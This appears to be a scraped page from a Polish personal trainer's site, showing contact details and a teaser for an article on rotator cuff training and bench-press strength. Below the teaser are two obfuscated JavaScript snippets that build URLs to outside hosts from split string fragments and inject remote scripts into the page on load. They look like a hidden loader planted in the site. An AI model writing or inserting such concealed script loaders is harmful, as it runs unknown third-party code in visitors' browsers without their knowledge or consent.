kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 17 sierpnia, 2025

Kategorie:

Trening rotatorów

Sekret większych ciężarów w wyciskaniu na klatę: Odkryj, jak trening rotatorów poprawi twoje wyniki.

17 sierpnia, 2025

Twój rekord w wyciskaniu na klatkę stoi w miejscu od miesięcy, a barki dają o sobie znać? Okazuje się, że klucz do większej siły i zdrowia nie zawsze leży w samej klatce. W naszym nowym artykule wyjaśniamy, dlaczego trening często ignorowanego stożka rotatorów jest tajną bronią w walce o nowe rekordy i pancerne barki. Przeczytaj i odblokuj swój potencjał!

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();